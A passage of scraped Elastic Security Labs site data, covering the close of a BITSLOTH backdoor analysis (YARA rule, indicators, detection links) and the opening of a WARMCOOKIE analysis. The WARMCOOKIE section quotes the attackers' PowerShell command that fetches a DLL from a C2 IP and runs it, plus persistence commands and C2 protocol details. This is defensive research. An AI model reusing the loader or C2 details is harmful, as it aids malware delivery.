Capture\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1056/001/\",rel:\"nofollow\",children:\"Input Capture: Keylogging\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1090/\",rel:\"nofollow\",children:\"Proxy\"})}),`\n`]}),`\n`,(0,i.jsx)(e.h2,{id:\"detecting-ref8747\",children:\"Detecting REF8747\"}),`\n`,(0,i.jsx)(e.h3,{id:\"detection\",children:\"Detection\"}),`\n`,(0,i.jsx)(e.p,{children:\"The following detection rules and behavior prevention events were observed throughout the analysis of this intrusion set:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/endpoint-rules/blob/0f01f1a9e2ac08e9ead74cafd4d73cb8166f9fc8/rules/windows/persistence_execution_via_bits_setnotifycmdline_method.toml\",rel:\"nofollow\",children:\"Persistence via BITS Job Notify Cmdline\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/credential_access_lsass_access_attempt_via_ppl_bypass.toml\",rel:\"nofollow\",children:\"LSASS Access Attempt via PPL Bypass\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/credential_access_lsass_access_attempt_from_an_unsigned_executable.toml\",rel:\"nofollow\",children:\"LSASS Access Attempt from an Unsigned Executable\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_suspicious_parent_child_relationship.toml\",rel:\"nofollow\",children:\"Suspicious Parent-Child Relationship\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/credential_access_credential_access_via_known_utilities.toml\",rel:\"nofollow\",children:\"Credential Access via Known Utilities\"})}),`\n`,(0,i.jsx)(e.li,{children:\"Shellcode Injection\"}),`\n`]}),`\n`,(0,i.jsx)(e.h4,{id:\"yara-signatures\",children:\"YARA Signatures\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_Mimikatz.yar\",rel:\"nofollow\",children:\"Windows.Hacktool.Mimikatz\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_BITSloth.yar\",rel:\"nofollow\",children:\"Windows.Trojan.BITSloth\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_Iox.yar\",rel:\"nofollow\",children:\"Windows.Hacktool.Iox\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_Rubeus.yar\",rel:\"nofollow\",children:\"Windows.Hacktool.Rubeus\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_Certify.yar\",rel:\"nofollow\",children:\"Windows.Hacktool.Certify\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_RingQ.yar\",rel:\"nofollow\",children:\"Windows.Hacktool.RingQ\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_GodPotato.yar\",rel:\"nofollow\",children:\"Windows.Hacktool.GodPotato\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Multi_Hacktool_Stowaway.yar\",rel:\"nofollow\",children:\"Multi.Hacktool.Stowaway\"})}),`\n`]}),`\n`,(0,i.jsx)(e.h4,{id:\"yara\",children:\"YARA\"}),`\n`,(0,i.jsx)(e.p,{children:\"Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify BITSLOTH:\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`rule Windows_Trojan_BITSLOTH_05fc3a0a {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2024-07-16\"\n last_modified = \"2024-07-18\"\n os = \"Windows\"\n arch = \"x86\"\n threat_name = \"Windows.Trojan.BITSLOTH\"\n \t license = \"Elastic License v2\"\n\n strings:\n $str_1 = \"/%s/index.htm?RspID=%d\" wide fullword\n $str_2 = \"/%s/%08x.rpl\" wide fullword\n $str_3 = \"/%s/wu.htm\" wide fullword\n $str_4 = \"GET_DESKDOP\" wide fullword\n $str_5 = \"http://updater.microsoft.com/index.aspx\" wide fullword\n $str_6 = \"[U] update error...\" wide fullword\n $str_7 = \"RMC_KERNEL ...\" wide fullword\n $seq_global_protocol_check = { 81 3D ?? ?? ?? ?? F9 03 00 00 B9 AC 0F 00 00 0F 46 C1 }\n $seq_exit_windows = { 59 85 C0 0F 84 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A 02 EB ?? 56 EB }\n condition:\n 2 of them\n}\n`})}),`\n`,(0,i.jsx)(e.h2,{id:\"observations\",children:\"Observations\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"All observables are also available for \",(0,i.jsx)(e.a,{href:\"https://github.com/elastic/labs-releases/tree/main/indicators/bitsloth\",rel:\"nofollow\",children:\"download\"}),\" in both ECS and STIX format in a combined zip bundle.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"The following observables were discussed in this research.\"}),`\n`,(0,i.jsx)(e.div,{className:\"table-container\",children:(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{children:\"Observable\"}),(0,i.jsx)(e.th,{children:\"Type\"}),(0,i.jsx)(e.th,{children:\"Name\"}),(0,i.jsx)(e.th,{children:\"Reference\"})]})}),(0,i.jsxs)(e.tbody,{children:[(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"4a4356faad620bf12ff53bcfac62e12eb67783bd22e66bf00a19a4c404bf45df\"}),(0,i.jsx)(e.td,{children:\"SHA-256\"}),(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"s.dll\"})}),(0,i.jsx)(e.td,{children:\"BITSLOTH\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"dfb76bcf5a3e29225559ebbdae8bdd24f69262492eca2f99f7a9525628006d88\"}),(0,i.jsx)(e.td,{children:\"SHA-256\"}),(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"125.exe\"})}),(0,i.jsx)(e.td,{children:\"BITSLOTH\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"4fb6dd11e723209d12b2d503a9fcf94d8fed6084aceca390ac0b7e7da1874f50\"}),(0,i.jsx)(e.td,{children:\"SHA-256\"}),(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"setup_wm.exe\"})}),(0,i.jsx)(e.td,{children:\"BITSLOTH\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"0944b17a4330e1c97600f62717d6bae7e4a4260604043f2390a14c8d76ef1507\"}),(0,i.jsx)(e.td,{children:\"SHA-256\"}),(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"1242.exe\"})}),(0,i.jsx)(e.td,{children:\"BITSLOTH\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"0f9c0d9b77678d7360e492e00a7fa00af9b78331dc926b0747b07299b4e64afd\"}),(0,i.jsx)(e.td,{children:\"SHA-256\"}),(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"setup_wm.exe\"})}),(0,i.jsx)(e.td,{children:\"BITSLOTH (VMProtect)\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"216.238.121[.]132\"}),(0,i.jsx)(e.td,{children:\"ipv4-addr\"}),(0,i.jsx)(e.td,{children:\"BITSLOTH C2 server\"}),(0,i.jsx)(e.td,{})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"45.116.13[.]178\"}),(0,i.jsx)(e.td,{children:\"ipv4-addr\"}),(0,i.jsx)(e.td,{children:\"BITSLOTH C2 server\"}),(0,i.jsx)(e.td,{})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"15.235.132[.]67\"}),(0,i.jsx)(e.td,{children:\"ipv4-addr\"}),(0,i.jsx)(e.td,{children:\"BITSLOTH C2 server\"}),(0,i.jsx)(e.td,{})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"http ://updater.microsoft.com/index.aspx\"}),(0,i.jsx)(e.td,{}),(0,i.jsx)(e.td,{}),(0,i.jsx)(e.td,{children:\"BITSLOTH file indicator\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"updater.microsoft.com\"}),(0,i.jsx)(e.td,{}),(0,i.jsx)(e.td,{}),(0,i.jsx)(e.td,{children:\"BITSLOTH file indicator\"})]})]})]})}),`\n`,(0,i.jsx)(e.h2,{id:\"references\",children:\"References\"}),`\n`,(0,i.jsx)(e.p,{children:\"The following were referenced throughout the above research:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/SafeBreach-Labs/SimpleBITSServer/tree/master\",rel:\"nofollow\",children:\"https://github.com/SafeBreach-Labs/SimpleBITSServer/tree/master\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/T4y1oR/RingQ\",rel:\"nofollow\",children:\"https://github.com/T4y1oR/RingQ\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/EddieIvan01/iox\",rel:\"nofollow\",children:\"https://github.com/EddieIvan01/iox\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/ph4ntonn/Stowaway/\",rel:\"nofollow\",children:\"https://github.com/ph4ntonn/Stowaway/\"})}),`\n`]}),`\n`,(0,i.jsx)(e.h2,{id:\"about-elastic-security-labs\",children:\"About Elastic Security Labs\"}),`\n`,(0,i.jsx)(e.p,{children:\"Elastic Security Labs is the threat intelligence branch of Elastic Security dedicated to creating positive change in the threat landscape. Elastic Security Labs provides publicly available research on emerging threats with an analysis of strategic, operational, and tactical adversary objectives, then integrates that research with the built-in detection and response capabilities of Elastic Security.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Follow Elastic Security Labs on Twitter \",(0,i.jsx)(e.a,{href:\"https://twitter.com/elasticseclabs?ref_src=twsrc%5Egoogle%7Ctwcamp%5Eserp%7Ctwgr%5Eauthor\",rel:\"nofollow\",children:\"@elasticseclabs\"}),\" and check out our research at \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/\",rel:\"nofollow\",children:\"www.elastic.co/security-labs/\"}),\".\"]})]})}function v(t={}){let{wrapper:e}=t.components||{};return e?(0,i.jsx)(e,Object.assign({},t,{children:(0,i.jsx)(c,t)})):c(t)}var S=v;return y(I);})();\n;return Component;"},"_id":"articles/bits-and-bytes-analyzing-bitsloth.mdx","_raw":{"sourceFilePath":"articles/bits-and-bytes-analyzing-bitsloth.mdx","sourceFileName":"bits-and-bytes-analyzing-bitsloth.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/bits-and-bytes-analyzing-bitsloth"},"type":"Article","imageUrl":"/assets/images/bits-and-bytes-analyzing-bitsloth/Security Labs Images 29.jpg","readingTime":"19 min read","series":"","url":"/bits-and-bytes-analyzing-bitsloth","headings":[{"level":2,"title":"BITSLOTH at a glance","href":"#bitsloth-at-a-glance"},{"level":3,"title":"Key takeaways","href":"#key-takeaways"},{"level":2,"title":"Discovery","href":"#discovery"},{"level":4,"title":"BITSLOTH overview","href":"#bitsloth-overview"},{"level":2,"title":"BITSLOTH code analysis","href":"#bitsloth-code-analysis"},{"level":3,"title":"Mutex","href":"#mutex"},{"level":3,"title":"Communication","href":"#communication"},{"level":3,"title":"Command functionality","href":"#command-functionality"},{"level":3,"title":"Command handling table","href":"#command-handling-table"},{"level":3,"title":"Backdoor functionality","href":"#backdoor-functionality"},{"level":4,"title":"Discovery/enumeration","href":"#discoveryenumeration"},{"level":4,"title":"Collection","href":"#collection"},{"level":4,"title":"Execution / Maintenance","href":"#execution--maintenance"},{"level":2,"title":"BITSLOTH pivots","href":"#bitsloth-pivots"},{"level":3,"title":"REF 8747 through MITRE ATT\u0026CK","href":"#ref-8747-through-mitre-attck"},{"level":4,"title":"Techniques","href":"#techniques"},{"level":2,"title":"Detecting REF8747","href":"#detecting-ref8747"},{"level":3,"title":"Detection","href":"#detection"},{"level":4,"title":"YARA Signatures","href":"#yara-signatures"},{"level":4,"title":"YARA","href":"#yara"},{"level":2,"title":"Observations","href":"#observations"},{"level":2,"title":"References","href":"#references"},{"level":2,"title":"About Elastic Security Labs","href":"#about-elastic-security-labs"}],"author":[{"title":"Seth Goodwin","slug":"seth-goodwin","description":"Elastic Security Labs Team Senior Research Engineer, Intelligence","body":{"raw":"","code":"var Component=(()=\u003e{var g=Object.create;var i=Object.defineProperty;var l=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var d=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),h=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},a=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of x(e))!f.call(t,o)\u0026\u0026o!==n\u0026\u0026i(t,o,{get:()=\u003ee[o],enumerable:!(s=l(e,o))||s.enumerable});return t};var j=(t,e,n)=\u003e(n=t!=null?g(d(t)):{},a(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),p=t=\u003ea(i({},\"__esModule\",{value:!0}),t);var u=_((C,c)=\u003e{c.exports=_jsx_runtime});var b={};h(b,{default:()=\u003eS,frontmatter:()=\u003ew});var r=j(u()),w={title:\"Seth Goodwin\",description:\"Elastic Security Labs Team Senior Research Engineer, Intelligence\",slug:\"seth-goodwin\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var S=M;return p(b);})();\n;return Component;"},"_id":"authors/seth-goodwin.mdx","_raw":{"sourceFilePath":"authors/seth-goodwin.mdx","sourceFileName":"seth-goodwin.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/seth-goodwin"},"type":"Author","imageUrl":"","url":"/authors/seth-goodwin"},{"title":"Daniel Stepanic","slug":"daniel-stepanic","description":"Elastic Security Labs Team Principal Security Researcher, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var i=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var d=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),g=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,c)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of x(e))!f.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(c=p(e,a))||c.enumerable});return t};var j=(t,e,n)=\u003e(n=t!=null?m(d(t)):{},s(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003es(i({},\"__esModule\",{value:!0}),t);var u=_((w,o)=\u003e{o.exports=_jsx_runtime});var b={};g(b,{default:()=\u003eS,frontmatter:()=\u003ey});var r=j(u()),y={title:\"Daniel Stepanic\",description:\"Elastic Security Labs Team Principal Security Researcher, Malware\",slug:\"daniel-stepanic\"};function l(t){return(0,r.jsx)(r.Fragment,{})}function D(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(l,t)})):l(t)}var S=D;return M(b);})();\n;return Component;"},"_id":"authors/daniel-stepanic.mdx","_raw":{"sourceFilePath":"authors/daniel-stepanic.mdx","sourceFileName":"daniel-stepanic.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/daniel-stepanic"},"type":"Author","imageUrl":"","url":"/authors/daniel-stepanic"}],"category":[{"title":"Malware analysis","slug":"malware-analysis","body":{"raw":"","code":"var Component=(()=\u003e{var u=Object.create;var s=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),M=(t,n)=\u003e{for(var e in n)s(t,e,{get:n[e],enumerable:!0})},i=(t,n,e,o)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let r of f(n))!g.call(t,r)\u0026\u0026r!==e\u0026\u0026s(t,r,{get:()=\u003en[r],enumerable:!(o=x(n,r))||o.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?u(_(t)):{},i(n||!t||!t.__esModule?s(e,\"default\",{value:t,enumerable:!0}):e,t)),p=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var l=j((X,c)=\u003e{c.exports=_jsx_runtime});var D={};M(D,{default:()=\u003eC,frontmatter:()=\u003ew});var a=d(l()),w={title:\"Malware analysis\",slug:\"malware-analysis\"};function m(t){return(0,a.jsx)(a.Fragment,{})}function y(t={}){let{wrapper:n}=t.components||{};return n?(0,a.jsx)(n,Object.assign({},t,{children:(0,a.jsx)(m,t)})):m(t)}var C=y;return p(D);})();\n;return Component;"},"_id":"categories/malware-analysis.mdx","_raw":{"sourceFilePath":"categories/malware-analysis.mdx","sourceFileName":"malware-analysis.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/malware-analysis"},"type":"Category","url":"/categories/malware-analysis"}]},{"title":"Dipping into Danger: The WARMCOOKIE backdoor","slug":"dipping-into-danger","date":"2024-06-12","description":"Elastic Security Labs observed threat actors masquerading as recruiting firms to deploy a new malware backdoor called WARMCOOKIE. This malware has standard backdoor capabilities, including capturing screenshots, executing additional malware, and reading/writing files.","image":"warmcookie.jpg","subtitle":"Novel malware discovery by Elastic Security Labs masquerades as a recruiting offer","tags":["warmcookie","backdoor","ref6127"],"body":{"raw":"\n## WARMCOOKIE at a glance\n\nElastic Security Labs observed a wave of email campaigns in late April targeting environments by deploying a new backdoor we’re calling WARMCOOKIE based on data sent through the HTTP cookie parameter. During initial triage, our team identified code overlap with a previously publicly reported [sample](https://esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign) by eSentire. The unnamed sample (`resident2.exe`) discussed in the post appears to be an older or deviated version of WARMCOOKIE. While some features are similar, such as the implementation of string obfuscation, WARMCOOKIE contains differing functionality. Our team is seeing this threat distributed daily with the use of recruiting and job themes targeting individuals.\n\nWARMCOOKIE appears to be an initial backdoor tool used to scout out victim networks and deploy additional payloads. Each sample is compiled with a hard-coded C2 IP address and RC4 key.\n\nThis post will review an observed campaign and this new malware’s functionality. While the malware has a limited number of capabilities, it shouldn’t be taken lightly as it’s actively being used and impacting organizations at a global scale.\n\n## Key takeaways\n\n* REF6127 represents recruiting-themed phishing campaigns to deploy a new Windows backdoor: WARMCOOKIE\n* WARMCOOKIE is a newly discovered backdoor used to fingerprint a machine, capture screenshots of the victim machine, and deploy additional payloads\n* Threat actors are spinning up new domains and infrastructure weekly to support these campaigns\n* This research includes an IDAPython script to decrypt strings from WARMCOOKIE\n* Elastic Security provides prevention and visibility capabilities across the entire WARMCOOKIE infection chain\n\n## REF6127 campaign overview\n\n![WARMCOOKIE execution flow](/assets/images/dipping-into-danger/image10.png \"WARMCOOKIE execution flow\")\n\nSince late April 2024, our team has observed new phishing campaigns leveraging lures tied to recruiting firms. These emails targeted individuals by their names and their current employer, enticing victims to pursue new job opportunities by clicking a link to an internal system to view a job description. Below is an example of the phishing email collected from previous open source reporting.\n\n![Phishing email - Subject: “We’re Interested”](/assets/images/dipping-into-danger/image14.png \"Phishing Email - Subject: “We’re Interested”\")\n\nOnce clicked, the users hit a landing page that looks like a legitimate page specifically targeted for them. There, they are prompted to download a document by solving a CAPTCHA challenge. The landing pages resemble previous campaigns documented by Google Cloud’s security team when discussing a new variant of [URSNIF](https://cloud.google.com/blog/topics/threat-intelligence/rm3-ldr4-ursnif-banking-fraud/). Below is an example of the landing page collected from previous open source reporting.\n\n![Landing page](/assets/images/dipping-into-danger/image6.png \"Landing page\")\n\nOnce the CAPTCHA is solved, an obfuscated JavaScript file is downloaded from the page. Our sample was named `Update_23_04_2024_5689382.js`; however, other samples used a different but similar naming structure. \n\nThis obfuscated script runs PowerShell, kicking off the first task to load WARMCOOKIE.\n\n![Initial execution chain as seen in Elastic Security for Endpoint](/assets/images/dipping-into-danger/image17.png \"Initial execution chain as seen in Elastic Security for Endpoint\")\n\nThe PowerShell script abuses the Background Intelligent Transfer Service (BITS) to download WARMCOOKIE and run the DLL with the `Start` export.\n\n```powershell\nstart-job { param($a) Import-Module BitsTransfer; $d = $env:temp + '\\' + \n [System.IO.Path]::GetRandomFileName(); Start-BitsTransfer -Source \n 'http://80.66.88[.]146/data/5fb6dd81093a0d6812c17b12f139ce35' \n -Destination $d; if (![System.IO.File]::Exists($d)) {exit}; $p = $d + \n ',Start'; rundll32.exe $p; Start-Sleep -Seconds 10} -Argument 0 | wait-job | Receive-Job\n```\n\n### REF6127 infrastructure overview\n\nBy leveraging tools like [urlscan.io](https://urlscan.io/ip/45.9.74.135) and [VirusTotal](https://www.virustotal.com/gui/ip-address/45.9.74.135/relations), we observed the threat actor continually generating new landing pages rapidly on IP address `45.9.74[.]135`. The actor pushed to target different recruiting firms in combination with keywords related to the job search industry. \n\n![Domains associated with 45.9.74[.]135](/assets/images/dipping-into-danger/image3.png \"Domains associated with 45.9.74[.]135\")\n\nBefore hitting each landing page, the adversary distances itself by using compromised infrastructure to host the initial phishing URL, which redirects the different landing pages.\n\n![Phishing link redirection](/assets/images/dipping-into-danger/image21.png \"Phishing link redirection\")\n\nThe threat actor generates new domains while the reputation catches up with each domain after each campaign run. At the time of writing, the threat actor can be seen pivoting to fresh domains without many reputation hits.\n\n![Reputation for recently generated domains](/assets/images/dipping-into-danger/image18.png \"Reputation for recently generated domains\")\n\n## WARMCOOKIE malware anlaysis\n\nWARMCOOKIE is a Windows DLL used by the threat actor in two different stages. The first stage occurs right after the PowerShell download with the execution of WARMCOOKIE using the `Start` export. \n\n### Stage 1\n\nStage 1 copies the downloaded DLL from a temporary directory with a random name, such as: `wid4ta3v.3gm,` and places a copy of the DLL at `C:\\ProgramData\\RtlUpd\\RtlUpd.dll`\n\nAfter the copy, the malware sets up persistence using COM with the Windows Task Scheduler to configure the DLL to run with the following parameters. \n\n```cmd\n\"C:\\WINDOWS\\system32\\rundll32.exe\" \"C:\\ProgramData\\RtlUpd\\RtlUpd.dll\",Start /p\n```\n\nWith this design choice, WARMCOOKIE will run with System privileges from the Task Scheduler Engine. Below is a screenshot from [Hatching Triage](https://tria.ge/240528-2dhvdagb62/behavioral1) showing these two stages:\n\n![WARMCOOKIE - Execution chain](/assets/images/dipping-into-danger/image13.png \"WARMCOOKIE - Execution chain\")\n\n#### Persistence\n\nA critical part of the infection chain comes from the scheduled task, which is set up at the very beginning of the infection. The task name (`RtlUpd`) is scheduled to run every 10 minutes every day.\n\n![Persistence - Scheduled Task](/assets/images/dipping-into-danger/image34.png \"Persistence - Scheduled Task\")\n\n### Stage 2\n\nThe second stage is where the DLL is combined with the command line (`Start /p`) and contains the core functionality of WARMCOOKIE. The malware starts by looking for the DLL inside the temporary directory from the PowerShell download.\n\n![Initial code within WARMCOOKIE](/assets/images/dipping-into-danger/image23.png \"Initial code within WARMCOOKIE\")\n\n#### Obfuscation \n\nWARMCOOKIE protects its strings using a custom string decryption algorithm. The first four bytes of each encrypted string in the `.rdata` section represent the size, the next four-bytes represent the RC4 key, and the remaining bytes represent the string.\n\n![String Obfuscation - Legend](/assets/images/dipping-into-danger/image22.png \"String Obfuscation - Legend\")\n\nBelow is the CyberChef recipe using the bytes from the screenshot above:\n\n![String Decryption via CyberChef](/assets/images/dipping-into-danger/image9.png \"String Decryption via CyberChef\")\n\nOne interesting observation is that the malware developer doesn’t always rotate the RC4 key between the encrypted strings.\n\n![Same RC4 key for different encrypted string](/assets/images/dipping-into-danger/image1.png \"Same RC4 key for different encrypted string\")\n\n#### Dynamic API loading\n\nTo prevent static analysis from identifying its core functionality, WARMCOOKIE uses dynamic API loading. There is no API hashing/resolving, and the targeted DLLs and sensitive strings are protected using encryption.\n\n![Dynamic API loading within WARMCOOKIE](/assets/images/dipping-into-danger/image32.png \"Dynamic API loading within WARMCOOKIE\")\n\nAs demonstrated in the previous image, the developer shows some consideration for OpSec: any decrypted string is wiped from memory immediately after use, potentially avoiding memory signature scans.\n\n#### Anti-debugging\n\nThe malware contains a few anti-analysis checks commonly used to target sandboxes. These are based on logic for checking the active number of CPU processors and physical/virtual memory values.\n\n![Sandbox verification](/assets/images/dipping-into-danger/image40.png \"Sandbox verification\")\n\nBelow are the following conditions:\n\n* If the number of processors is greater than or equal to 4 and the calculated value from the `GlobalMemoryStatusEx` call is greater than or equal to 0xF00, the malware will continue execution\n* If the number of processors is greater than or equal to 8, the malware will continue execution\n* If the calculated value from the `GlobalMemoryStatusEx` call is greater than `0x2000`, the malware will continue execution\n\n#### Mutex\n\nEach WARMCOOKIE sample comes hard coded with a GUID-like string as a mutex. Below are some examples we have observed:\n\n* `f92e6f3c-9cc3-4be0-966c-1be421e69140`\n* `91f785f4-2fa4-4c85-954d-b96768ca76f2`\n\n![Setup before main functionality, including mutex creation](/assets/images/dipping-into-danger/image35.png \"Setup before main functionality, including mutex creation\")\n\nBefore the main functionality is executed, WARMCOOKIE uses an OR statement to verify the command-line arguments with `/p` returns `True` or to check whether the scheduled task persistence needs to be created.\n\n#### Execution\n\nBefore the backdoor makes its first outbound network request, it captures the following values used to fingerprint and identify the victim machine. \n\n* Volume serial number\n* DNS domain of the victim machine\n* Computer name\n* Username\n\nThis was a criteria used to identify the similarities to the malware in eSentire’s [report](https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign).\n\n![Checksum calculations similar to eSentire's report](/assets/images/dipping-into-danger/image8.png \"Checksum calculations similar to eSentire's report\")\n\nThe WARMCOOKIE C2 server likely leverages a CRC32 checksum function to verify content sent from the victim machine. Inside WARMCOOKIE itself is a checksum function that takes an input string, a length, and an initial seed value for the CRC32 function. At the beginning of the function, the seed value is negated, so at different times, the checksum function is called with different seeds. We believe the developer added this step to make it a little harder for researchers to analyze and waste time.\n\n![Beginning of CRC32 checksum function](/assets/images/dipping-into-danger/image31.png \"Beginning of CRC32 checksum function\")\n\nThe following three checksum calculations are encrypted with RC4 and sent through the HTTP cookie parameter:\n\n* CRC32(c2_message_data)\n* CRC32(mutex) ^ volume serial number\n* CRC32(username) ^ CRC32(computer name)\n\nBelow is the implementation in Python with a usage example in the Appendix:\n\n```python\ndef calculate_checksum(str_input, str_len, i):\n if i == 0:\n i = 0xFFFFFFFF\n if i == -1:\n i = 0\n\n for idx in range(0, str_len, 2):\n v6 = str_input[idx] | (str_input[idx + 1] \u003c\u003c 8)\n for _ in range(16):\n if (v6 ^ i) \u0026 1:\n i = ((i \u003e\u003e 1) ^ 0xEDB88320) \u0026 0xFFFFFFFF\n else:\n i = (i \u003e\u003e 1) \u0026 0xFFFFFFFF\n v6 \u003e\u003e= 1\n\n return ~i \u0026 0xFFFFFFFF\n```\n\n#### Communication\n\nWARMCOOKIE samples communicate over HTTP with a hardcoded IP address. The family uses a combination of RC4 and Base64 to protect its network traffic. The RC4 key is embedded in each sample. We have observed the same key being used in multiple samples. The key during this analysis is `24de21a8dc08434c`\n\n![Hardcoded RC4 key being decrypted](/assets/images/dipping-into-danger/image11.png \"Hardcoded RC4 key being decrypted\")\n\nThe malware uses a custom structure to send the initial request to the C2 server, including the previously described checksum values and several fields used to track the offsets and size of the variable data.\n\nThese values are sent through the HTTP cookie parameter using the following custom structure:\n\n```cpp\nenum request_type\n{ \n REGISTRATION = 1, \n COMMAND = 2 \n};\n\nstruct os_info\n{\n int major_version;\n int minor_version;\n int build_number;\n int version_calc;\n};\n\nstruct initial_request\n{\n int checksum_c2_message_data;\n int checksum_volume_mutex;\n int checksum_computer_name_username;\n request_type request_type;\n os_info os_ver;\n int offset_to_dns_domain;\n int size_base64_dns_domain;\n int offset_to_base64_computer_name;\n int size_base64_computer_name;\n int offset_to_base64_username;\n int size_base64_username;\n char base64_dns_domain[]; // Variable-length array\n char base64_username[]; // Variable-length array\n char base64_computer_name[]; // Variable-length array \n};\n```\n\nThe first request to the C2 server is sent through a GET 